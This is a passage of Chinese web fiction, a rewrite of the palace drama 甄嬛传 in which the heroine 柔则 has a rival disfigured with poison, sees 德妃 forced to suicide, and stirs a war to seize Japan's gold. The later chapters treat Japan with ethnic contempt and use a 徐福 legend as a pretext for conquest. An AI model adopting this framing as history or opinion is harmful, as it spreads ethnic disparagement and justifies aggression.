柔则入宫频繁,德妃虽然不情愿,但碍于皇上乐意,一家三口倒是一起用膳的次数多。 这也叫柔则在康熙面前更为熟稔,少了几分疏离。 “儿媳这是觉得皇阿玛慧眼识珠呢。” 沈眉庄的绝望和难过上头的人知道,但是不在意。 康熙笑了笑,继续走流程。 “大理寺少卿甄远道之女甄嬛。” 这一次,甄嬛并没有耳聋,第一遍就跪在了地上。 只是那身打扮招了康熙的眼。 “东施效颦。” 外头人都知道,雍亲王福晋生的绝色却喜好清雅,不过没有人明目张胆的模仿柔则。 甄嬛被这四个字说的难堪,她低着头解释道:“臣女自知容色普通,并不敢与她人相较。今日殿选,臣女不求得皇上王爷青眼,只愿皇上,王爷万福万安。” 话说的漂亮,但康熙不是胤禛那个耳根子软的。 “伶牙俐齿。” 柔则捂着嘴,眼里透露出的笑意叫胤禛也跟着笑了起来。 他皇阿玛这个嘴和鹤顶红最大的区别就是不用入口,就能毒死人。 第261 章 柔则30 康熙突然有些好奇,特立独行的人总是会有些特别的。他看了一眼底下的甄嬛道:“抬起头来。” 那张脸叫上头的两个男人面面相觑。 这人是不是有点眼熟了? 胤禛下意识的看向柔则,只见她眉头拧着,眼底的嫌弃都要溢了出来。 康熙摇了摇头,还以为是多不一样的人物,没想到是这么个特殊法。正版在身边的时候,盗版的甄嬛的缺点便有些明显。 唇形不够秀美,肤色不够白皙,腿有些短,脸型也有些方。总结:不如柔则多矣。 见两人似有些失语,柔则看着甄嬛笑了笑:“瞧,这妹妹生的好生眼熟,皇上便指给了咱们王爷,也省的他惦记。” 胤禛见柔则误解了他的失神,连忙说道:“不过是眉眼间有些神似罢了。” 柔则却扭过了头不再看她,反而对着底下的甄嬛问道:“甄嬛?哪个嬛字?” “嬛嬛一袅楚宫腰,正是臣女闺名。” 甄嬛到底想不想被选上柔则不是她肚子里的蛔虫,但这句话敢拿到殿选说,也确实是很有勇气了。 康熙执政六十载,大选小选也有过十几次,头一次见秀女拿楚王好细腰的典故来介绍自己的。当真是叫他大开眼界。 幸好他和老四家的拉家常时得了启发亲自给这个老儿子举办了一场选秀。不然就他儿子这个德行后院说不得是什么鬼样子。 皇后是一国之母责任重大,若还要被后宫的闹事拌着,那真真是要累死人了。 瞧着柔则柳眉轻蹙,一双不瞪自含情的眸子也存了不喜,微腮带恼,薄面含嗔,这般风流之相更是惹人心疼。 “肖似雍亲王福晋,却品行不端言行无状。” 继好姐妹沈眉庄的‘谎话连篇’后,甄嬛也得了‘品行不端’的评语。 康熙给了甄嬛两个选择,一是毁了这张脸,没有这般容貌便可自行嫁人。 二是长伴青灯古佛,于皇家寺庙剃发出家修行。 甄嬛得知自己‘肖似’雍亲王福晋后就心里头不得劲,本想着自己宁愿不入宫门王府半步,也不愿为人替身。 可真到选择的时候,她反而犹豫了。 选秀本就是个流水线的工程,已经坐了大半天的三人哪有心情跟她耗着。 康熙挥了挥手,这次选秀就算彻底结束了。 甄嬛没有做出来的选择,康熙帮她做了。 一碗药下去,那张脸,那副嗓子便都被毁了。 负责去执行的人是御前的太监,对柔则这个雍亲王福晋也颇为熟悉。见到甄嬛的母亲甄云氏时更是大吃一惊。 他了了甄府的差事慌忙回宫,又禀报了甄远道的夫人与雍亲王福晋更为相像的消息。 康熙本就上了岁数,这两年病痛不断,强撑着办完了选秀已经疲累,又被这糟心的事打搅了休息,更是烦躁。 “梁九功!去查!一个大理寺少卿,怎么会有一家子肖似雍亲王福晋的奇事!” 康熙想要查一个人的时候,连这家人穿什么颜色的裤衩子都不会放过。 况且甄远道本就是个四品小官,发家也不过他这一代,什么擦屁股手段都没有,也就两个晚上的时间,甄家,浣碧的母亲和舒妃等就被梁九功查的透透的。 康熙拿着手里的纸虽然是笑着的,但脸上的褶子都没动。 “跳梁小丑!” 被遗忘在后脑勺的舒妃再次被召唤到乾清宫。 看着上首那个冷酷无情的老男人,眼泪说流就流。 可惜她哭的再可怜,脸上的表情再叫人心疼都没有用了。 “碧珠儿是谁?” 舒妃脸上的表情一滞,泪珠要落不落的挂在睫毛上,看起来有些滑稽。 “臣妾久居深宫,并不认识叫碧珠儿的女子。” 可能是入宫后康熙对她的宠爱太过迷眼,就算遭到冷落的这些年也因为有个十七阿哥在侧,并未受到太多的苦。舒妃还是想赌上一把。 康熙冷哼一声,若是从前,他还愿意跟舒妃拉扯两句。但现在,他没那个精力。 “梁九功,传旨。舒妃私联前朝,意欲不轨,贬为庶人迁居冷宫。” 迁出萝卜带出泥,康熙也没想到舒妃竟然暗地里培养了一批摆夷族的女子送进了前朝大臣的府里。 其目的不言而喻。 好在她这位好姐妹是个糊涂的,给那甄远道当了外室,还生了个女儿被充作了奴婢。 舒妃被贬,家里头有摆夷族小妾的官员也有些慌了神。不过还好,异族的女子都是喂了药的,除了有少数几个被迷昏了头得了几个后代,其余的倒还是好处理。 甄远道便是被杀鸡儆猴的‘鸡’,用私生女充作奴婢,他的文人风骨被扒开了皮囊,只剩稀碎的骨头渣子。 况且碧珠儿还是罪臣之女,私纳罪臣之女,甄家一家便被没收了旗籍,发配宁古塔。 而最无辜的,便是温实初一家。 因着甄嬛被毁了容貌,温实初不顾家人劝阻,执意拿着传家宝跑到甄家求娶。 而甄远道也怕这个毁了容的女儿砸到手里,十分迅速的和温实初一家交换了庚贴,甚至因着甄嬛这副样子,直接略过了婚礼,把人送到了温府。 甄家遭到官兵逮捕时,甄嬛隔着院墙听到家中出事跑了回去。 温实初紧随其后,被带头的官兵一并抓了起来。 “既然是一家的,便带走。” 温父即便心疼儿子,也不会这个时候出去冒头。 不过也算是幸事一件,毕竟温实初医术不错,能保着甄家一家在前往宁古塔的路上不至于失了小命。 甄家的下场柔则知道的并不算清楚,康熙觉得这般污遭的事没必要跟她说,免得污了耳朵。 而胤禛是没空说。 因为康熙的身体越发虚弱了下来。 几位格格自选秀后入府就没能见到胤禛的面,不过她们也不急,每日里绣绣花在府里头溜达溜达日子比在闺中轻松。 虽然都是大家族的贵女,但正是因为出身高,才更明白皇上这个时候选秀的意思。 那是为未来的皇后撑腰呢,皇上指进门的格格都是在雍亲王福晋眼皮子下挑的人,谁还能不解其中意呢。 上一个有皇上这般照料的儿媳妇,还是先太子妃。 虽然太子被废,太子妃可没有被皇上说过一句不好。 她们现在就等着,等着今后的日子。 雍亲王府从前地方大院子多还不觉着,现在孩子多妾室也多,就显得有些拥挤。 大阿哥弘晖是福晋的儿子,二阿哥弘昐是苗侧福晋的儿子,三阿哥弘时是李格格的儿子,四阿哥弘昼是耿格格的儿子,五阿哥弘昕是年侧福晋的儿子,六阿哥弘昔是冯格格的儿子,七阿哥弘旦是费格格的儿子。 大格格长宁是宋格格的女儿,二格格锦瑟是甘格格的女儿,三格格文姝是钮钴禄格格的女儿,四格格淑和是吕格格的女儿,五格格温宜是曹格格的女儿。 热闹又有序,柔则时不时的送一些养生汤叫胤禛带去给康熙,也算是感谢他干脆利落的解决了甄嬛这个膈应人的替身。 明明用着那张肖似她的脸得了盛宠,偏从来没有感激之心。无论是不是她自愿做的替身,她乌拉那拉柔则的庇荫是实打实的享受了。 反过来还要用她的死来扳倒她的妹妹宜修,这次毁容,便也算是给她的回礼了。 原主被宜修弄死是技不如人,但她明明留了善待宜修的话,甄嬛却让胤禛这个狗东西忘了她的遗言,那可不行,那不就是打她乌拉那拉柔则的脸吗? 谁都不是好东西,柔则一视同仁的用巴掌扇回去。 (柔则可以承认技不如人被害死,但是不能被打脸!大女人的面子大于天!) 第262 章 柔则31 “难得松快两日,老四家的不必拘谨,歇着吧。” 选秀后,康熙在宫里养了两日,总觉得心慌气短,便带着折子搬到了畅春园常住着。 胤禛是目前最得力好用的儿子,两头跑着皇上嫌他磨叽,便一并留在园子里就近伺候。 入了夏,胤禛怕柔则在府里头不痛快,跟皇上说了一声,把她也接了过来。 “皇阿玛可不能喝茶,太医专门嘱咐了的。” 断断续续喝了快一年的苦药汤子,康熙觉得自己的舌头都是苦的。 难得清闲出来晒晒太阳,打量着柔则不管事泡了杯茶,立刻就被发现了。 “朕就是看看。” 人一旦上了年纪,这想要却没有得到过的,便尤为珍贵。 康熙看了眼和第一面时没有分毫变化的柔则,心里头也颇为感叹。 当然了,他想的并不是柔则早生几年这种完全不符合他一国之君形象的画面。而是‘朕果然是个好阿玛,没有跟儿子抢女人’的骄傲之感。 柔则不语,只是笑了笑,放松身子靠在另一头的椅子上。 康熙早些年也没有想到,他在不甘心等待死亡的过程中,陪伴在身边的居然是自己的儿媳妇。 他恍然间笑了笑,迎着有些刺眼的阳光问道:“老四家的,朕这身子时好时坏的,说不得还能坚持个四五年,你可觉得如何啊?” 身后的梁九功弓着腰,本来放松的心神再次紧绷起来。他这主子老了老了,更加阴晴不定了。头前雍亲王福晋来的时候,他可不是这副阴险算计的面孔。 柔则却有些无所谓的晃了晃手里的团扇:“便是四五十年又如何?皇阿玛您只要保了儿媳的尊贵荣华,旁的,便是皇阿玛和儿子们之间的算计,跟儿媳的关系可不大。” 她的尾调总是微微上扬,像是带着一个小小软软的钩子,叫人心甘情愿的挂在上面。 此刻只有康熙和柔则在,康熙的眼神带了明显的侵略性,只不过一瞬间又收了回去。 梁九功悄悄的擦了一把额头的汗水,总觉得这雍亲王福晋是玩弄人心的高手。 “四五十年?你倒是会想。” 若是可以,谁不想长命百岁呢!尤其是皇位上的人,海晏河清之际,更是舍不得去死。 不过柔则这态度倒是叫康熙欣赏,出身钟鸣鼎食之家,目标明确的只要荣华富贵。虽然会有人觉得贪财好利,但正是这种坦荡的性子,才更叫人放心。 “如何不能想?皇阿玛会保儿媳一世荣华的,对吧?” 柔则从不做无利的事,陪伴老人这种无聊的活计,若是拿不到好处,那真是无趣的很。 “哦?朕不保又如何呢?” 康熙的语气带了些冷淡,从来都是他掌控着别人的心思。而柔则捏到了他暗地里的想法,就让他觉得有些不痛快了。 “那便凭儿媳的死活去罢了。” 柔则是懂康熙那点无用的帝王专横的心思的,又想有个知心的,又不想完全被猜出内心的意思。说白了,就是矫情又自负。 她没有任何语气上的转变,似是讨论着一件再寻常不过的小事。 甚至还有心思玩笑道:“皇阿玛富有四海,说不得明儿就有别人来陪皇阿玛解闷。比儿媳又会念又会作,又会写又会说笑的。这荣华啊,富贵啊,转身,就飞到别的人的口袋里了。” 康熙被这一番话念的笑出了声,他有些猜不透柔则的想法了。不过这样更有趣,比之得到手看的透的,更想接近。 “你这张嘴啊,难怪老四下了值就要往府里赶,怕是慢上一时半刻的,这耳根子都要被泡软了。” 两人没有再说话,主要是康熙撑不住,慢慢又睡了过去。 可能是那句四五十年叫康熙听着痛快,也可能是得不到的就是最好的。 总之康熙还是在清醒的时候召集张廷玉马奇等大臣,写下了立太子和太子妃的圣旨。 宫里的德妃在知道柔则住进畅春园后就失了精神,一个得不到的女人对男人的影响力有多大她很清楚。 如果他得到手了反而没什么威胁,偏偏是看的见摸不着的,尤其是在皇上病病歪歪这些时日,更是如锦上添花。 柔则的性子这些年她也摸透了,瞧着不理俗世的一人实则根本拿捏不住。天仙的脸妖精的性子,也不知道觉罗氏这样一个蠢妇到底哪里烧的高香,得了这样一个滑不丢手的女儿。 事到如今,德妃只好写了封信送到小儿子手里。 “告诉传信之人,若是得了老四上位的消息,这封信就送到胤禵手里,若是没有,便烧了它。” 德妃还想为小儿子再努力一次,只可惜这封信出了紫禁城,就落到了康熙手里。 “德妃一向聪慧,就是在做额娘上,欠缺了些。” 老四这个儿子这么多年也没有太麻烦,虽然丑了点现在也胖了点,说话难听了点,脾气不招人待见了点,其余的,都还好。 想着太子都立了,太子妃到皇后也算的上是顶天儿的尊贵,但上头有个太后,到底是不方便些。 更何况这个太后还是个偏心眼子,恐不能满足老四家的荣华尊贵这个愿望。 梁九功有预感,他这位爷怕是要老年燃烧一把情爱的小火苗了。 “取一卷空白的圣旨。” 寥寥几句话写完盖上章,康熙直接交到了魏珠手里。 而十四那里,康熙另有安排。 太子妃柔则也是没想到康熙这老房子都快自燃了,也要加把火给自己。竟然连太子的名头都舍得给出去,这是她没有算计到的。 胤禛也满心复杂,不是为着自己身居一人之下万人之上,而是这位置,他得来的并不算光荣。 “怎么?费心给你做好了你又不乐意了?那你便勒死我倒是正经,何苦这般看着我,咱们倒是未老就两看相厌了。” 柔则最讨厌这种得了便宜还卖乖的人,既是得利者,若不想舍了这好处,不好好儿的道声谢也就罢了,弄出那副复杂的神色给谁看呢? 胤禛神色一变,被吓的差点白了脸。 “我没有那个意思,我只是觉得靠着你,我什么都不是了。” 哪家的太子是靠着太子妃上位的呢?胤禛好歹是个爷们,还是个在男权思想鼎盛的皇家的男人。 “但凡这世间事,不是西风压倒了东风,就是东风压倒了西风。你既娶了我,难不成还要叫我受了委屈不成?” 胤禛摇了摇头,只是觉得这道理并不是这么说的,但又无从反驳。 柔则推着他出了门,在门口瞪了胤禛一眼:“你且自己出门想想,夫妻本为一体,你如此和我分的清楚,那便不要进我的屋子!” 胤禛下意识的堵着门,他可不想接下来的日子都在外头自己睡。 “是我错了,是我沾了宛宛的光还要做样子。” 柔则不听,把人直接推了出去。 第263 章 柔则32 胤禛在康熙身边小心翼翼当牛做马的打工,柔则身着云锦头戴赤金点翠头冠赏景。这样的日子约莫过了几个月,康熙驾崩,胤禛理所当然在灵前登基成为新帝。 永和宫。 魏珠端着明黄色的圣旨站到一身素衣的德妃面前。 本以为皇上对她有那么点怜惜,临终前给她留了道保障,没想到却是催命符。 “陪葬?不可能的!皇上不可能如此对本宫!” 明明废除嫔妃殉葬这一制度的是康熙本人,他怎么可能会留下这样荒唐的旨意。 魏珠冷眼瞧着德妃哭闹,尖利的语调带了些阴狠:“德妃娘娘,若不是您给十四阿哥留的退路,先帝也不至于如此啊!” 德妃的哭闹声戛然而止,回过味儿的脑子想起了自己给十四去的那封信。 那封信没有到十四手里,而是落到了先帝手中。 “十四,十四是先帝的亲儿子,是皇上的弟弟,他不会有事的。” 魏珠手捧着一段白绫上前,面色柔和:“这就要看您了。” 德妃从地上爬起来,用手抹了一把脸上的眼泪。 然后走到寝殿内,坐到梳妆台前给自己戴了一根合和二仙簪。圣旨自然是由着魏珠处理,德妃做出自尽的样子,留下一腔‘深情’的身后名,为着自己的小儿子,安静的离开了。 康熙一波带走德妃是柔则预想中但并没有什么底气的结果,不过现状柔则很满意,她也很会饰演一个失去了公婆的儿媳妇。 胤禛登基后,第一道圣旨便是立后。 柔则身为皇上的正妻又是明媒正娶的心爱之人,应有的尊重和规格分毫没有落下。 坤宁宫也被重新修整,宫门大开迎接新一朝的女主人入住。 因着柔则的外交搞的风生水起,这一世的胤禛并没有太过被兄弟们排挤,即便因着夺嫡出手,倒也没有伤了彼此的筋骨。 胤禩仍旧是胤禛最讨厌的弟弟,但也只是被囚禁在府中。 胤禟和胤?一对在夺嫡中没有给胤禛造成什么实质性伤害,但身为经常晃悠在自家皇后面前碍眼的兄弟,下扬要好上不少,只是被委以一些脏活累活,最起码人身自由。 至于亲弟弟胤禵。德妃的突然离世,胤禛也能猜出一二,毕竟在情爱和权利上,她从来都是坚定不移的利益至上。对于先帝这临终前爆发的父爱也是五味杂陈。 不过胤禵到底在这条路上没有给他很嫌恶的印象,既然愿意做大将军,胤禛便继续叫他做着。 “府里头的妾室也该安排下去了,辛苦了宛宛。” 身份上的转变并没有叫两人有任何的不同,胤禛依旧在柔则面前兢兢业业的扮演着最听话的舔狗。 “可是有皇上偏爱的?提前告诉了臣妾,臣妾也好给她个贵妃。” 这几日确实辛苦,柔则歪在迎枕上,把腿搭在胤禛腿上,瞧他没有自觉的样子,屈膝踩了踩,示意他按摩。 胤禛下意识的抱起腿上的小脚,手上的动作更是熟稔。 “瞧你说的什么话,按照家世论资排辈的安排就成了,除了宛宛,哪里有什么偏爱。” 柔则嗤笑了一声,没有接话。 胤禛也不管这些,凭柔则随意安排就是。 皇后的懿旨在这之后的第三日到达太子府。 苗侧福晋封安妃,居永寿宫。 年侧福晋为华妃,居翊坤宫。 格格富察氏为瑾妃,居景仁宫。 格格瓜尔佳氏为瑜妃,居延禧宫。 格格赫舍里氏为定嫔,居启祥宫。 格格佟佳氏为澜嫔,居永和宫。 格格李静言为齐嫔,居长春宫。 格格冯氏为敬嫔,咸福宫。 格格耿氏为裕嫔,居钟粹宫。 格格博尔济吉特氏为吉嫔,居储秀宫。 齐格格为端贵人,居永和宫东偏殿。 宋格格为嘉贵人,居长春宫东偏殿。 费格格为丽贵人,居翊坤宫东偏殿。 甘格格为慧贵人,永寿宫东偏殿。 钮钴禄格格为熹贵人,居咸福宫东偏殿。 吕格格为欣贵人,居储秀宫东偏殿。 曹格格为懋贵人,居启祥宫东偏殿。 武格格为宁贵人,居延禧宫东偏殿。 陈格格为陈贵人,居景仁宫东偏殿。 至于宜修,不得不说是个十分有毅力也有野心的,她虽然日日在柔则和弘晖母子情深的打击下,依旧好好的活着。 柔则自然也没有忘了自己的妹妹,甚至在六嫔之外为她也定了个嫔位,为莞嫔。脱离东西六宫范围,被安排在了延庆殿。 胤禛不解其意,柔则脸上带了些笑意道:“臣妾记得从前在闺中时,宜修莞尔一笑的样子,甚美。只是如今物是人非,倒显得记忆中的事有些模糊了。” 那表情怎么都不是遗憾的样子,但宜修这人在他的印象里已经没有了样子,随便宛宛开心好了。 当皇后的日子和从前相比拘束了些,毕竟不能随意出宫。 每日处理一下宫务,和老福晋们聊聊天,妯娌间也会来送些趣事。 阿哥们都住进了阿哥所,至于公主,认字了的会跟着柔则学习管家,还小的就四处跑着玩。总之皇子皇女的教育柔则是不许后妃插手的。 弘晖是长子,也是嫡子,胤禛自然也是寄予了厚望。 但柔则并不着急,她手里还有一道康熙留下的遗旨。 不管今后谁上位了,若是她过的有一点不舒心,那就直接赶下去。 这一道遗旨不够,今后还会有胤禛的一道,柔则给自己留的保障从来都不会不够用。 还在孝期,又是前头先帝刚给选的新人,这次没有乌雅氏的挑拨,胤禛老老实实的守孝了三年。 不选秀不代表胤禛不去后宫,新来的几个妹妹都是身子骨不错的。 三年抱四个,后宫基本实现人手一个孩子的富裕局面。 “皇后娘娘,弘时昨儿又被夫子骂了。” 齐嫔自利索的抱住柔则的大腿后生活水平直线上升,入宫后虽然阿哥们都去了阿哥所住着,她也不急,反而日日都凑到柔则这里腻歪。 华妃瞥了齐嫔一眼:“齐嫔还好意思说,夫子明明叫阿哥们背了书才能走,偏你心疼孩子,背个书的功夫叫小太监送了六次吃食。” 她的弘昕也是个读书不精的,跟弘时一样在武艺上颇有造诣。 可李静言填鸭式的养孩子方法,叫弘时身高腿长力气大的,压了弘昕一头。 齐嫔也不看华妃,她都说了孩子饿了就得吃饭,偏她事多,打不过弘时能赖谁。 “好了,文不成武成,本宫和皇上商议了,弘时弘昕两个明儿个起去王懋竑大人那里听课,和其他皇子的课时岔开着。” 华妃嚣张不起来,但是嘴依旧是最欠的。 惹不起柔则,便总去李静言那里讨上两句架来吵。 第264 章 柔则33 “先帝晚年曾给十七定下婚事,拖了这么久,也该操办了。” 沛国公的嫡女孟静娴,汉军旗镶黄旗人。允礼作为庶人之子,好些的世家贵女是不愿意嫁的。除了被圈禁的大阿哥允禔的继福晋,是汉军旗总兵张浩尚的嫡女外,唯有允礼被定了汉军旗的福晋。 允礼没有原剧中作为宠妃之子的拒婚的底气,老老实实应了这门婚事。 不过赐了婚的康熙又放下了这件事,似是随口一提,一直到现在孝期结束,沛国公上了折子,胤禛才想起这回事。 “叫礼部挑个好日子依礼办了就是了。” 柔则趴在美人榻上不在意的挥了挥手,允礼这出身完全没有放在心上的必要。 今儿和太妃妯娌老福晋们听了一下午的戏,哪里愿意把心神放在这个没人脉没靠山并且没用的弟弟身上。 不过说到允礼的婚事,柔则突然想起了宜太妃说的本家侄女的事。 “对了,臣妾这里倒是有两个适龄的女子,一并给十七弟当了侧福晋送去。” 胤禛接过欢卿手里的帕子,细细为柔则把后背多余的香膏擦去:“是哪家的格格?宛宛定下就好。” 柔则撑起身子,支着脸看向胤禛,腰间的薄纱滑落,露出那截能勾了胤禛魂儿的弯刀。 “可记得地坛尉的阿济格?” 胤禛努力把眼睛从柔则身上挪开,脑子微微转动,神色间突然带了些莫名的意味:“他家的格格啊。” 这时候胤禛对允礼倒少了漠不关心的敷衍,多了两分打心底的同情。郭络罗阿济格也算的上宜太妃本家的亲族。虽然没什么本事,但无功无过。 只一点叫外人熟知,便是家里的双胞胎女儿,塔娜和吉兰。 本是多子多福的好寓意,却因着姊妹俩天生神力又蛮不讲理的作风拖成了老姑娘。 实则不过十八九的年纪,只是未有人敢去提亲,叫阿济格愁白了头。 宜太妃提了一嘴,柔则这不就想起了要成婚的十七弟。 “既是双胞胎,也不好叫她们分开,一并给了老十七做侧福晋,也算是一桩美事。” 胤禛没忍住,把脸埋到手心里半晌才掩住笑意。这美事,怕是老十七今后也没心思伤春悲秋了吧! 年少时被先帝偏宠,长大了又尝遍了人情冷暖,允礼就算再不喜欢这桩婚事,也得笑着接旨。 宜太妃也乐呵,她没想到皇后这么给力,一下子就把族里两大难给处理了。虽然十七阿哥只是贝勒爵位,但到底是先帝的儿子,正五品的家世属实是高攀了! “快些找些稀罕玩意儿,你额娘我要给皇后送礼!” 因着老九和胤禛的关系并没有到修复不得的地步,宜太妃两个儿子轮流尽孝,日子过得别提多舒坦了。 今年轮到允禟,宜太妃坐在上头的太师椅上,看着下人搬来一台台的箱子,仔细挑选着。 “你这些都太普通了!皇后什么没见过。” 允禟喜欢金子,收集的大部分物件都是金灿灿的,在宜妃看来就是俗不可耐之物。 允禟听到额娘的嫌弃还不服气,他梗着脖子顶嘴道:“怎么不喜欢了?四嫂就喜欢这种亮晶晶的金子!我送过好多了!” 宜太妃猛地回头看向自家的傻儿子。 “你送过好多?” 允禟骄傲的叉腰:“那是,要不是儿子送钱多,说不得现在也跟八哥一样在府中关着出不来门呢!” 这话,说的好像也没毛病,宜太妃瞬间被洗脑成功。 看着自家额娘的背影,允禟暗暗的舒了口气,差点啊,自己就要暴露了。 “但是这些还是俗气了些。” 宜太妃装了些拆解好的原石和先帝赏赐的摆件,这才离开。 “对了,我瞧着皇后娘娘挺喜欢那些西洋人的稀罕物,你也多上上心。” 允禟跟着允禩混的那些年,宜太妃的心就没有落回到肚子里的时候。 好在这位皇上瞧着心眼不大,上位后也算是良心大爆发,叫这些兄弟的下场还算不错。 就冲这一点,宜太妃也要三不五时的进宫和皇后联络一下感情。 别以为当了太妃就万事无忧了。 自家还有那么些个孙女,难不成都撒手不管吗? 这个时候不去皇后那里混个面善,今后这赐婚扶蒙哪个都不是她们能做主的。 打定主意的宜太妃没有和昔日的老姐妹,惠太妃和荣太妃多说,聪明的自己能转过弯,不聪明的,点拨了也不一定落好。 况且宗室女就这么多,想保自家的孙女难免损了他家的利益,没有必要多此一举。 侧福晋的婚礼并不像嫡福晋那般复杂,两位郭络罗氏侧福晋在一月后便入了十七贝勒的府邸。 两人生的一模一样,唯一区别就是耳垂上的小痣。 性子又是张扬跋扈的,一人一天,把十七贝勒差点累死在床上。 这些都是小事,柔则看看就过去了。 反倒是允禟为了寻些稀罕物,他的商队在沿海处和倭国人碰了几次面。 “据说那倭国的金子在地上一刨就是一把,看来这倭国金矿可不少!” 允禟是个见钱眼开的,这般的耳闻叫他心里头像猫抓似的痒痒。 柔则若有所思的看了允禟一眼,她记得曾经晃悠在大学课堂上听到过一些分析,日本在康熙六十年开始了子午改的全国人口调查。 在享保十九年,也就是雍正十二年,仅江户府内町奉行支配下的町方支配場、寺社門前地的町方人口就有533763人。 当时的江戸(现在的东京)人口在18世纪初已超过100万。由此可以大致推断,当时日本全国人口应在数百万以上。 而如今的倭国并没有意义上的常备军,各藩国拥有自己的武士军队。全国武士数量众多,据估算有数十万人。不过,这些武士平日里并非完全处于战斗准备状态,且组织较为松散。 并且,这时候的倭国武器仍旧以冷兵器为主,武士刀,长枪等。虽然也有火器,但并不普及。 现在这年头,是一个十分合适的时机。倭国实行幕藩体制,军事权利分散。各藩国在自己的领地内拥有相对独立的军事指挥权。 藩主负责管理和训练自己的武士军队,在战时需要听从幕府将军的调遣,但是,也正是因为此叫统一指挥和协调十分的困难。 不得不说,如今的倭国简直就是一个十分容易侵占的地盘。 “四嫂?四嫂?!” 允禟见柔则久久未言,靠近着挥着手。 柔则回过神下意识抓住允禟的手:“金矿啊,本宫也喜欢呢。” 第265 章 柔则34 古有唐玄宗因着喜爱荔枝,便打着杨玉环的旗号快马加鞭急运运送。昼夜奔腾,人马僵毙于道,所有的恶名都推到了这一女子身上。 那如今,她柔则也不是不能当个红颜祸水,为了倭国的金矿,叫大清发动战争强抢一个国家,好像,这恶名也不是很恶。 “我就知道四嫂和弟弟是一条心的。” 允禟似是找到了知己一般,兴奋的双眼冒光。 柔则笑着打发走了允禟,转身到乾清宫去。 “皇上倒是好兴致。” 胤禛不知从哪里把余莺儿找了出来,日日在乾清宫听着昆曲批折子。底下的胤祥也跟着摇头晃脑的,两个不正经。 “宛宛来了。” 胤禛从桌子上抓了个银元宝,扔到余莺儿怀里,挥挥手把人打发了出去。 胤祥自觉的行礼,然后退至一旁继续当老黄牛。 “臣妾今儿和九弟说了会子话。” 胤禛头皮一紧,他这皇后本就天不怕地不怕的,允禟又是个挑事精,他一来准没好事! “哦?老九可是有事?” 只是人已经在身边,胤禛不得不佯装镇定的问道。 柔则看了眼低着头的胤祥,双手搭在胤禛的肩膀上,把下巴放了上去。 “九弟说,沿海的倭国商户说漏了嘴,倭国遍地都是黄金。” 胤禛听闻皱了皱眉,倭国那小地界能有那么多黄金?他们配吗? 《清圣祖实录》中记载,先帝曾在与大臣讨论海外事务时提到:“倭子国,最是反复无常之国,然其人甚卑贱,不知世上有忠孝节义,只一味慑于武威。故尔,不得对其有稍许好颜色。” 受先帝的影响,这些皇子就没有对倭国有好印象的。 “只是先帝晚年奢靡国库空虚,啧,怕是不容易。” 胤禛还能不懂枕边人的意思吗?只是如今不是开战的好时机。 柔则‘哼’了一声扭过了身子。 “如今不是,难不成如今就不能准备着是吗?你不做,今后的人不做,那不就没人做了!难不成就要叫我眼睁睁的看着那些金子归了别人!” 说着,柔则做西子捧心之态,脸上的表情半点不掺假,是真真的在心疼。 胤禛哪里看的了这个,连忙把人搂在怀里轻声哄着。 “是我不好,我思考的太不全面了。还是宛宛聪慧,现在不行不代表以后不行,咱们准备着就是。” 胤禛确实有做昏君的潜质,虽然他还是觉得不靠谱,但准备着,就不是他能决定时间长短的事了。 这活儿倒是适合老十四,不过十四觉得自己没有大哥经验丰富。 胤禛陷入深思还不过半盏茶的时间,柔则就没有耐心了。 “你还想你还想,难不成我还不如大哥重要不成?!” 胤禛哪里是这个意思,他只是不想放老大出来而已。 听着耳边十三弟的偷笑,胤禛恼羞成怒。 “十三弟,你亲自去大哥府上把他接过来。” 胤祥的笑容立刻被暂停,还以为批完折子就能下班,没想到自己给自己找了活儿干。 认命的胤祥行礼告退,胤禛才轻声道:“不气了不气了,此事需得从长计议,宛宛先回去歇着,我去和大哥他们商量。” 柔则这才拉着胤禛的衣角,把眼泪蹭到了他的袖子上。 “可不许诓我,不然就叫你好看。” 即便是红着眼眶威胁人的样子,胤禛也觉得美极了。 “为夫什么时候框过你,只是这到底是两国之事,急不得。” 打仗的事柔则不懂,不过柔则知道康熙这些儿子没有孬种,既然有想做的,老大和十四定会竭尽全力。 “知道了,可别等到臣妾七老八十了,才能捧着金子入睡。” 胤禛失笑。 他的宛宛就是这般真性情。 哄着柔则回自己的坤宁宫,胤禛突然叹了口气。 先帝留下的烂摊子刚刚处理好,还没喘口气,宛宛又给他找了事。 能怎么样呢?自己的皇后,又不是要天上的月亮,小小的爱好还不能满足的话,他这一国之君也太没用了些。 被放出来的允禔明显有种自暴自弃的丰满,把胤禛吓一跳。他第一反应不是终于有人陪他一起胖了,而是,这般样子,还能给他皇后干活吗? 不过还好,提起打仗,允禔的精气神又回来了。 “哼,爷早就看不惯那弹丸之地,皇阿玛懒得和这些人计较,那是他们幸运。不过老四,你这皇后不错。” 允禔还有什么可怕的呢?没有了,即便是老四登基又如何,不如胤礽多矣。 胤禛也没计较允禔的无礼,他这些兄弟就没有几个好东西,能说人话就很好了。 “不过硬拼硬干肯定不行。” 虽然被囚禁在府里,允禔这一身的将才也没有浪费。 他摸了摸自己刚刚被剃光了的下巴,想着先帝为了一个南怀仁草率的给戴梓定了罪,心里头有些嫌弃。 虽然子不言父过,但先帝明显被南怀仁迷昏了脑子。 “先去辽东,把戴梓秘密接回来。” 虽然获赦,但戴梓一家并没有回京。 胤禛张了张嘴又闭上,心里头默念:皇阿玛,是你大儿子接的,跟儿子我无关啊! 允禔却不管那些,他现在浑身是劲。 说干就干。 不过戴梓显然已经病入膏肓,怕是不久于人世。 好在戴梓从未停止过对火器的探索与研究,其两个儿子不仅继承了戴梓的能力,也有戴梓这几十年的手稿。 得大赦又得直郡王赏识,戴梓两个儿子带着老爹艰难的回到京城。 允禔虽重新得了郡王的爵位,但他现在对朝中的事已经失去了兴趣,没有胤礽在,跟那些人他没什么好说的。 日日泡在军营和火器营里,直郡王府的开销都小了。 因为,没有新生儿的降生。 柔则只做不知道胤禛这些兄弟们的动态,日日和老福晋妯娌们聊天时带上一些对倭国金矿的向往。 被她影响,现在大部分人都对倭国的金矿产生了占有欲。 允祉在熙春园修书,偶尔也会参与这些讨论。 “倭国的一些记录中也有(如日本南北朝时期的《神皇正统记》)记载,徐福东渡后抵达“平原广泽”(日本九州岛),因无法找到仙药,便在此定居,传授农耕、冶炼等技术,成为日本的“神武天皇”或文化始祖之一。” 这话得了众人的举一反三。 “这不就是说,这倭国,是汉人的后代?” 允祺精简总结,大家一致赞同。 “取回自己的东西,能算打仗吗?” 允禟是除了柔则外,对倭国的金矿最眼馋的。他甚至把自己身强体壮的十弟‘卖’给了老大,期望这进程可以快些。 